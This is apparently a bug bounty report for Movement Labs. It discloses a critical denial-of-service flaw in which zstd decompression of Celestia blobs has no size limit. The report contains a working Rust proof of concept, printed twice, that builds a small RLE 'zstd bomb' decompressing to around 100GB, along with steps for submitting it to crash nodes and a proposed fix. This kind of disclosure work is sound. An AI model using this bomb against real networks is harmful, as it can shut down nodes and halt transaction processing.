42233 [BC-Critical] critical dos vulnerability in movement network s da layer due to zstd bomb blob exploit

#42233 [BC-Critical] Critical DoS Vulnerability in Movement Network's DA Layer Due to Zstd bomb blob exploit

Submitted on Mar 21st 2025 at 22:14:48 UTC by @perseverance for Attackathon | Movement Labs

  • Report ID: #42233

  • Report Type: Blockchain/DLT

  • Report severity: Critical

  • Target: https://github.com/immunefi-team/attackathon-movement/tree/main/protocol-units/da/movement/providers/celestia

  • Impacts:

    • Network not being able to confirm new transactions (total network shutdown)

Description

Background Information

Brief/Intro

A critical Denial of Service (DoS) vulnerability exists in Movement Network's Data Availability (DA) layer where the zstd decompression process lacks size limits. The current implementation in the into_da_blob function decompresses blob data without any size restrictions, allowing attackers to create "zstd bombs" - small compressed files that decompress to extremely large buffers.

According to the architecture of Movement Network, blob data is sent and received from Celestia DA Service. While Celestia has a 2MB blob size limit, this limit only applies to the compressed data, not the decompressed size. The decompression happens before any signature verification, so anyone can submit the malicious blob.

The Vulnerability

Vulnerability Details

https://github.com/immunefi-team/attackathon-movement/blob/main/protocol-units/da/movement/providers/celestia/src/blob/ir.rs#L7-L20

The vulnerability exists in the into_da_blob function in protocol-units/da/movement/providers/celestia/src/blob/ir.rs:

	pub fn into_da_blob<C>(blob: CelestiaBlob) -> Result<DaBlob<C>, anyhow::Error>
	where
		C: Curve + for<'de> Deserialize<'de>,
	{
		// decompress blob.data with zstd
		let decompressed =
			zstd::decode_all(blob.data.as_slice()).context("failed to decompress blob")?;

		// deserialize the decompressed data with bcs
		let blob = bcs::from_bytes(decompressed.as_slice()).context("failed to deserialize blob")?;

		Ok(blob)
	}

The code uses zstd::decode_all() to decompress the blob data without any size limits. This is dangerous because:

  1. The decompression happens before any signature verification

  2. There are no limits on the decompressed size

  3. Even with Celestia's 2MB blob size limit, an attacker can create a PoC that uses approximately 100GB of RAM on decompression

Attack Scenario

An attacker can:

Step 1. Create a malicious zstd-compressed blob that:

  • Is under Celestia's 2MB size limit

  • Contains specially crafted data that decompresses to a very large size

  • Uses RLE (Run-Length Encoding) to create a "zstd bomb"

Step 2. Submit this blob to Celestia. Attackers can target many nodes in the Movement network

Step 3. When Movement nodes process this blob:

  • The decompression will attempt to allocate massive amounts of memory

  • This will either crash the node or severely impact its performance

  • Multiple such blobs could be submitted to create a widespread DoS attack

PoC Code

fn zstd_bomb() {
    // MAGIC + header with max window size
    let mut b: Vec<u8> = vec![0x28, 0xb5, 0x2f, 0xfd, 0x0, 0x7f];
    let n_blocks = 0x530000;
    for _ in 0..n_blocks {
        // RLE block encoding 0xff byte repeated 0x8000 times
        b.extend(&[0x02, 0x00, 0x10, 0xff]);
    }
    // Block to finish the data
    b.extend(&[0x01, 0x00, 0x00]);
    // Check that we fit in celestia limits
    assert!(b.len() < 0x1_500_000);
    // decode the bomb
    // uses up at least 100GB on my machine after which it crashes
    let res = zstd::decode_all(b.as_slice()).unwrap();
    dbg!(res.len());
}

Severity Assessment

Bug Severity: Critical

Impact category: Network not being able to confirm new transactions (total network shutdown)

This is assessed as Critical severity because:

Impact:

  • Can cause complete node crashes

  • Can lead to network-wide DoS attacks

  • Affects all nodes in the network

  • Can be exploited with minimal resources (just a small blob)

Likelihood:

  • High - The attack is simple to execute

  • Low cost - Only requires submitting small blobs

  • High impact - Can affect the entire network

  • No special privileges required

Mitigation

The fix can use

Example fix:

pub fn into_da_blob<C>(blob: CelestiaBlob) -> Result<DaBlob<C>, anyhow::Error>
where
    C: Curve + for<'de> Deserialize<'de>,
{
    // Use streaming decoder with size limits
    let mut decoder = zstd::Decoder::with_buffer(blob.data.as_slice())?;
    let blob = bcs::de::Builder::new()
        .max_sequence_length(MAX_BLOB_LEN)
        .deserialize_reader(&mut decoder)
        .context("failed to deserialize blob")?;

    Ok(blob)
}

Proof of Concept

POC

The vulnerability can be triggered when:

Step 1: Create a valid Blob data structure with the following script to create the ztsd bomb

fn zstd_bomb() {
    // MAGIC + header with max window size
    let mut b: Vec<u8> = vec![0x28, 0xb5, 0x2f, 0xfd, 0x0, 0x7f];
    let n_blocks = 0x530000;
    for _ in 0..n_blocks {
        // RLE block encoding 0xff byte repeated 0x8000 times
        b.extend(&[0x02, 0x00, 0x10, 0xff]);
    }
    // Block to finish the data
    b.extend(&[0x01, 0x00, 0x00]);
    // Check that we fit in celestia limits
    assert!(b.len() < 0x1_500_000);
    // decode the bomb
    // uses up at least 100GB of RAM on my machine after which it crashes
    let res = zstd::decode_all(b.as_slice()).unwrap();
    dbg!(res.len());
}

Step 2: Send the malicious blob to Celestia

Step 3. The node will read data from Celestia and will decode the blob

Since it will require 100GB of Ram, it will crash the node.

Was this helpful?